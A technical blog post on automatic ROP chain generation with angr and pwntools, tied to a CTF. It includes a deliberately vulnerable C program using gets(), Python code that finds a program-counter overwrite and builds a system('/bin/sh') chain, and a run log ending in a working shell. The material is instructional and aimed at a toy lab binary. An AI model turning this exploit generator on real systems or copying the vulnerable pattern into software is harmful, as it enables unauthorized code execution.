Breaking Bits
Search…
Automatic Rop Chain Generation
The code and and example used for this post can be found here.
Battelle hosted a winter CTF recently that included a problem on automatic rop chain generation and a solution posted by Teddy Heinen used some code on this blog to perform the initial vulnerability discovery.
ROP chain generation is hard, but angr provides a couple emulation and constraint solving pieces that can make problems like this substantially easier to solve or generate chains for. This post won't talk about the intended ret2dlresolv technique to call the "holy_grail" function, but instead talk about the fundamentals behind building rop chains and apply contraints through rop chain's gadgets to a given program state that overwrites the program counter.
The post on overflow discovery here, describes using a step function to check a given program state being emulated by angr at every "step" to see if a the program counter can be set to "CCCCCCCC". We can reuse this snippet of code to test if our rop chain satisfies a program constraints like below:
def check_mem_corruption(simgr):
# Check for unconstrainted state where we control the
# program counterelf
for state in simgr.unconstrained:
if state.satisfiable(extra_constraints=[state.regs.pc == b"CCCCCCCC"]):
# Here we know we can arbitrarily set the program counter,
# so now we want to set it to a ropchain we generate for the
# program
pc_overwrite = state.posix.dumps(
0, extra_constraints=[state.regs.pc == b"CCCCCCCC"]
)
log.info("We can overwrite the PC with : {}".format(pc_overwrite))
log.info(
"PC overwrite starts at : {}".format(pc_overwrite.index(b"CCCCCCCC"))
)
rop_chain_bytes = get_rop_chain(state)
log.info("We can run our ropchain with : {}".format(rop_chain_bytes))
if state.satisfiable():
state.globals["rop_chain_bytes"] = rop_chain_bytes
simgr.stashes["mem_corrupt"].append(state)
simgr.stashes["unconstrained"].remove(state)
simgr.drop(stash="active")
return simgr
The example problem being used for this blog post contains a trivial buffer overflow with gadgets conveniently located inside the main binary. This technique can be paired with gadget finding a build in libc given a leak like Zeratool does. The code we're exploiting is below:
#include <stdio.h>
//gcc -fno-stack-protector \
// -Wno-implicit-function-declaration -no-pie \
// -Wno-format-security -z relro buffer_overflow.c \
// -o buffer_overflow_64bit
int pwn_me()
{
char my_buf[20] = {'\x00'};
printf("Your buffer is at %p\n", my_buf);
gets(my_buf);
return 0;
}
void does_nothing()
{
puts("/bin/sh");
execve(NULL,NULL,NULL);
system("sleep 1");
}
void main()
{
puts("pwn_me:");
pwn_me();
}
The build of our rop chain is broken up into a couple parts:
  • gadget finding
  • gadget chaining
  • constraint applying
  • state emulation
def get_rop_chain(state):
"""
We're using a copy of the original state since we are applying
constraints one at a time and stepping through the state.
"""
state_copy = state.copy()
binary_name = state.project.filename
pwntools_elf = ELF(binary_name)
"""
Here we're getting the ropchain bytes and rop chain object
that has the individual gadget addresses and values
"""
rop_object, rop_chain = generate_standard_rop_chain(binary_name)
"""
Here we're running through the program state and setting
each gadget.
"""
user_input, new_state = do_64bit_rop_with_stepping(
pwntools_elf, rop_object, rop_chain, state_copy
)
"""
With our constraints set, our binary's STDIN
should now contain our entire overflow + ropchain!
"""
input_bytes = new_state.posix.dumps(0)
return input_bytes

The two steps for finding gadgets and chaining them together has warranted many blog posts, but for simple chains we can use the built-in rop chain finding and generation from pwntools! Ultimately for this simple chain we want to call either system("/bin/sh") or execve("/bin/sh",NULL,NULL).
So we can use the built in methods in pwntools' ROP class to find gadgets and the built-in methods in pwntool's ELF class to locate /bin/sh references.
For amd64 ROP chaining, there also another issue sometimes called the "movabs" issue. Where when constructing a system("/bin/sh") chain, the movabs instruction inside of the function will segfault and not finish executing our system call. The way around this is to add a RET rop gadget to align the stack and enable the call to succeed.
def generate_standard_rop_chain(binary_path):
context.binary = binary_path
elf = ELF(binary_path)
rop = ROP(elf)
# These are strings we want to call
strings = [b"/bin/sh\x00", b"/bin/bash\x00"]
functions = ["system", "execve"]
"""
The two main components we need in our rop chain
is either a system() or exec() call and a refernce
to the string we want to call (/bin/sh)
"""
ret_func = None
ret_string = None
"""
angr can find these functions using the loader reference
p.loader, however we'll need to use pwntools for the rop
chain generation anyways, so we'll just stick with pwntools
"""
for function in functions:
if function in elf.plt:
ret_func = elf.plt[function]
break
elif function in elf.symbols:
ret_func = elf.symbols[function]
break
# Find the string we want to pass it
for string in strings:
str_occurences = list(elf.search(string))
if str_occurences:
ret_string = str_occurences[0]
break
if not ret_func:
raise RuntimeError("Cannot find symbol to return to")
if not ret_string:
raise RuntimeError("Cannot find string to pass to system or exec call")
# movabs fix
"""
During amd64 ropchaining, there is sometimes a stack alignment
issue that folks call the `movabs` issue inside of a system()
call.Adding a single rop-ret gadget here fixes that.
"""
rop.raw(rop.ret.address)
"""
The pwntools interface is nice enough to enable us to construct
our chain with a rop.call function here.
"""
rop.call(ret_func, [ret_string])
log.info("rop chain gadgets and values:\n{}".format(rop.dump()))
"""
We need both the generated chain and gadget addresses for when
we contrain theprogram state to execute and constrain this chain,
so we pass back both the rop tools refernce along with the chain.
"""
return rop, rop.build()

With a list of our gadgets and the chain we want to use, the next step is getting our program simulation/emulation to run and verify that this chain will work. For this step in 64bit rop chain building we need to build our constraints in one of two ways depending on whether the piece of the ropchain is a code-execution gadget, or whether it's a data piece for a push/pop call.

For this first step, it is very similar to our PC overwrite detection portion from the top of this page, where we are seeing if setting the program counter to the code-execution gadget is satiable:
There is one catch though if our chain uses an existing function call because we're emulating through angr. angr will use SimProcedures to emulate certain function calls for speed and accuracy to better represent what usually happens on a given function call. When the emulation hits one of these procedures, our rop chain building piece will break since we're not jumping or ROPing into the actual function, but instead the SimProcedure. So we have a special case here, where if we're stepping into one of those functions, we will emulate using the SimProcedure, but set the PC to the expected program entry for it.
if new_state.satisfiable(extra_constraints=([new_state.regs.pc == gadget])):
"""
For the actual ROP gadgets, we're stepping through them
until we hit an unconstrained value - We did a `ret` back
onto the symbolic stack.
This process is slower than just setting the whole stack
to the chain, but in testing it seems to work more reliably
"""
log.info("Setting PC to {}".format(hex(gadget)))
new_state.add_constraints(new_state.regs.pc == gadget)
"""
Since we're emulating the program's execution with angr we
will run into an issue when executing any symbols. Where a
SimProcedure will get executed instead of the real function,
which then gives us the wrong constraints/execution for our
rop_chain
"""
if gadget in elf_symbol_addrs:
log.info(
"gadget is hooked symbol, contraining to real address, but calling SimProc"
)
symbol = [x for x in elf.symbols.items() if gadget == x[1]][0]
p = new_state.project
new_state.regs.pc = p.loader.find_symbol(symbol[0]).rebased_addr
"""
There is no point in letting our last gadget run, we have all
the constraints on our input to trigger the leak
"""
if i == len(rop_chain) - 1:
break
"""
Since we're stepping through a ROP chain, VEX IR wants to
try and lift the whole block and emulate a whole block step
this will break what we're trying to do, so we need to
tell it to try and emulate single-step execution as closely
as we can with the opt_level=0
"""
rop_simgr = new_state.project.factory.simgr(new_state)
rop_simgr.explore(opt_level=0)
new_state = rop_simgr.unconstrained[0]

When we're setting stack data or registers, then we need to emulate it a little differently based on the last rop gadget we used. We can cache the gadget and use pwntool's ROP object to dump out which registers it interacts with. Then for each register we want to push or pop we can set the next 8 bytes of our chain to the expected rop chain value:
The code below sets our unconstrained registers to concrete values based off the ropcain, which in turn will set a value on the stack or where ever our chain is to the expected value. If we've finished setting registers we set "current registers" to an empty list to signal to the rest of the constraining process that we're ready for a code-execution gadget.
"""
Case 2: We're setting a register to an expected popped value
Usually for 64bit rop chains, we're passing values into
the argument registers like RDI.
"""
next_reg = curr_rop.regs.pop()
log.debug("Setting register : {}".format(next_reg))
gadget_msg = gadget
if isinstance(gadget, int):
gadget_msg = hex(gadget)
state_reg = getattr(new_state.regs, next_reg)
if state_reg.symbolic and new_state.satisfiable(
extra_constraints=([state_reg == gadget])
):
log.info("Setting {} to {}".format(next_reg, gadget_msg))
new_state.add_constraints(state_reg == gadget)
else:
log.error("unsatisfied on {} -> {}".format(next_reg, gadget_msg))
break
if len(curr_rop.regs) == 0:
curr_rop = None
Once all of our constraints are in-place, the constraint solving on whatever input to our program is, is in place and we can then dump out our STDIN/ARG/Other input and have angr run the constraint solver piece. For the toy-example included with the problem, it's reading from STDIN, so we can use the state's posix attribute to call dumps and give us the STDIN required to trigger it.
The full run of the toy-example with our solve will look like this:
./auto_rop_chain.py ./buffer_overflow_64bit
WARNING | 2022-01-15 13:56:49,675 | angr.simos.simos | stdin is constrained to 400 bytes (has_end=True). If you are only providing the first 400 bytes instead of the entire stdin, please use stdin=SimFileStream(name='stdin', content=your_first_n_bytes, has_end=False).
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages.
WARNING | 2022-01-15 13:56:49,917 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7fffffffffefa7c with 4 unconstrained bytes referenced from 0x4010d9 (_start+0x9 in buffer_overflow_64bit (0x4010d9))
WARNING | 2022-01-15 13:56:50,048 | angr.procedures.libc.gets | The use of gets in a program usually causes buffer overflows. You may want to adjust SimStateLibc.max_gets_size to properly mimic an overflowing read.
WARNING | 2022-01-15 13:56:51,152 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 Reverse(input_0_3200[2879:2816])>
[*] We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO | 2022-01-15 13:56:51,214 | pwnlib.exploit | We can overwrite the PC with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00CCCCCCCC\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] PC overwrite starts at : 40
INFO | 2022-01-15 13:56:51,216 | pwnlib.exploit | PC overwrite starts at : 40
[*] '/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
INFO | 2022-01-15 13:56:51,225 | pwnlib.elf.elf | '/home/chris/projects/auto_rop_chain/buffer_overflow_64bit'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 14 cached gadgets for './buffer_overflow_64bit'
INFO | 2022-01-15 13:56:51,254 | pwnlib.rop.rop | Loaded 14 cached gadgets for './buffer_overflow_64bit'
[*] rop chain gadgets and values:
0x0000: 0x40101a ret
0x0008: 0x4012d3 pop rdi; ret
0x0010: 0x40201a [arg0] rdi = 4202522
0x0018: 0x401094
INFO | 2022-01-15 13:56:51,255 | pwnlib.exploit | rop chain gadgets and values:
0x0000: 0x40101a ret
0x0008: 0x4012d3 pop rdi; ret
0x0010: 0x40201a [arg0] rdi = 4202522
0x0018: 0x401094
[*] Setting PC to 0x40101a
INFO | 2022-01-15 13:56:51,260 | pwnlib.exploit | Setting PC to 0x40101a
WARNING | 2022-01-15 13:56:52,279 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 input_0_3200[2759:2752] .. input_0_3200[2767:2760] .. input_0_3200[2775:2768] .. input_0_3200[2783:2776] .. input_0_3200[2791:2784] .. input_0_3200[2799:2792] .. input_0_3200[2807:2800] .. input_0_3200[2815:2808]>
[*] Setting PC to 0x4012d3
INFO | 2022-01-15 13:56:52,282 | pwnlib.exploit | Setting PC to 0x4012d3
WARNING | 2022-01-15 13:56:53,362 | angr.engines.successors | Exit state has over 256 possible solutions. Likely unconstrained; skipping. <BV64 input_0_3200[2631:2624] .. input_0_3200[2639:2632] .. input_0_3200[2647:2640] .. input_0_3200[2655:2648] .. input_0_3200[2663:2656] .. input_0_3200[2671:2664] .. input_0_3200[2679:2672] .. input_0_3200[2687:2680]>
DEBUG | 2022-01-15 13:56:53,362 | pwnlib.exploit | Setting register : rdi
[*] Setting rdi to 0x40201a
INFO | 2022-01-15 13:56:53,365 | pwnlib.exploit | Setting rdi to 0x40201a
[*] Setting PC to 0x401094
INFO | 2022-01-15 13:56:53,452 | pwnlib.exploit | Setting PC to 0x401094
[*] gadget is hooked symbol, contraining to real address, but calling SimProc
INFO | 2022-01-15 13:56:53,453 | pwnlib.exploit | gadget is hooked symbol, contraining to real address, but calling SimProc
[*] We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\[email protected]\x00\x00\x00\x00\x00\xd3\[email protected]\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
INFO | 2022-01-15 13:56:53,493 | pwnlib.exploit | We can run our ropchain with : b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\[email protected]\x00\x00\x00\x00\x00\xd3\[email protected]\x00\x00\x00\x00\x00\x1a @\x00\x00\x00\x00\x00\x94\[email protected]\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Wrote rop chain to file : ./pwn_input
INFO | 2022-01-15 13:56:53,495 | pwnlib.exploit | Wrote rop chain to file : ./pwn_input
[*] Try running : cat ./pwn_input - | ././buffer_overflow_64bit
INFO | 2022-01-15 13:56:53,495 | pwnlib.exploit | Try running : cat ./pwn_input - | ././buffer_overflow_64bit
(angr_pwn) ➜ auto_rop_chain git:(master)cat ./pwn_input - | ./buffer_overflow_64bit
pwn_me:
Your buffer is at 0x7fffffffdc50
id
uid=1000(chris) gid=1000(chris) groups=1000(chris),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
ls
Makefile auto_rop_chain.py buffer_overflow.c buffer_overflow_64bit pwn_input readme.md
[1] 443826 done cat ./pwn_input - |
443827 segmentation fault (core dumped) ./buffer_overflow_64bit
Copy link
On this page
Gadget finding and Gadget chaining
Constraining the rop chain
Code execution rop gadgets
Data/Register setting rop gadgets